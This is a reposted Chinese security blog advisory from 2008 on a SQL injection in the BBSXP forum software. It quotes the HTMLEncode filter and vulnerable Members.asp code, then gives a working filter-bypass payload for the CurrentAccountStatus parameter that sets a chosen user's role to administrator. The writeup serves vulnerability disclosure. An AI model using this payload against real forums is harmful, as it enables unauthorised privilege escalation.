BBSXP绕过过滤继续注入 's

admin 2017年4月27日14:18:15评论271 views字数 2210阅读7分22秒阅读模式
摘要

————————————-
注:本站首发,转载请保留,谢谢!
http://www.neeao.com
Neeao's Security Blog
————————————-

————————————-
注:本站首发,转载请保留,谢谢!
http://www.neeao.com
Neeao's Security Blog
————————————-

By YaMato[BCT]
Date:2008-2-22
Version:BBSXP 7.3-BBSXP2008 sql

漏洞分析:
官方最新过滤函数HTMLEncode,这次过滤了字符* ,再一次绕过过滤注射
Function HTMLEncode(fString)
fString=Replace(fString,CHR(9),"")
fString=Replace(fString,CHR(13),"")
fString=Replace(fString,CHR(22),"")
fString=Replace(fString,CHR(38),"&") '“&”
fString=Replace(fString,CHR(32)," ") '“ ”
fString=Replace(fString,CHR(34),""") '“"”
fString=Replace(fString,CHR(39),"'") '“'”
fString=Replace(fString,CHR(42),"*") '“*”
fString=Replace(fString,CHR(44),",") '“,”
fString=Replace(fString,CHR(45)&CHR(45),"--") '“–”
fString=Replace(fString,CHR(60),"<") '“<”
fString=Replace(fString,CHR(62),">") '“>”
fString=Replace(fString,CHR(92),"\") '“/”
fString=Replace(fString,CHR(59),";") '“;”
fString=Replace(fString,CHR(10),"<br>")
fString=ReplaceText(fString,"([&#])([a-z0-9]*);","$1$2;")
if SiteConfig("BannedText")<>"" then fString=ReplaceText(fString,"("&SiteConfig("BannedText")&")",string(len("&$1&"),"*"))
if IsSqlDataBase=0 then '过滤片假名(日文字符)[/u30A0-/u30FF] by yuzi
fString=escape(fString)
fString=ReplaceText(fString,"%u30([A-F][0-F])","&#x30$1;")
fString=unescape(fString)
end if
HTMLEncode=fString
End Function
Members.asp漏洞文件作为测试:
SearchType=HTMLEncode(Request("SearchType")) //第8行
SearchText=HTMLEncode(Request("SearchText"))
SearchRole=RequestInt("SearchRole")
CurrentAccountStatus=HTMLEncode(Request("CurrentAccountStatus"))
……
if SearchText<>"" then item=item&" and ("&SearchType&" like '%"&SearchText&"%')" //第18行
……
if CurrentAccountStatus <> "" then item=item&" and UserAccountStatus="&CurrentAccountStatus&"" //第22行

if item<>"" then item=" where "&mid(item,5)
……
TotalCount=Execute("Select count(UserID) From ["&TablePrefix&"Users]"&item)(0) '获取数据数量
//第54行

看个sql语句:
select * from bbsxp_users where userid=(1)update[bbsxp_users]set[userroleid]=(1)where(username=0x79006C003600330036003400)
变量userid绕过过滤成功执行了update
同理构造:
SearchType=1
SearchText=1
CurrentAccountStatus=(1)update[bbsxp_users]set[userroleid]=(1)where(username=0x79006C003600330036003400)

关于Bug.Center.Team:

Bug.Center.Team (又名:漏洞预警中心小组)是国内较早成立的以脚本安全为主要方向的网络安全组织,致力于网络和脚本安全问题的研究,在对于脚本程序的修补、维护、漏洞检测都有专业水平,是国内最专业、最经验的安全服务组织,有关Bug.Center.Team的详情请参见: http://www.cnbct.org

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月27日14:18:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BBSXP绕过过滤继续注入 'shttps://cn-sec.com/archives/47392.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息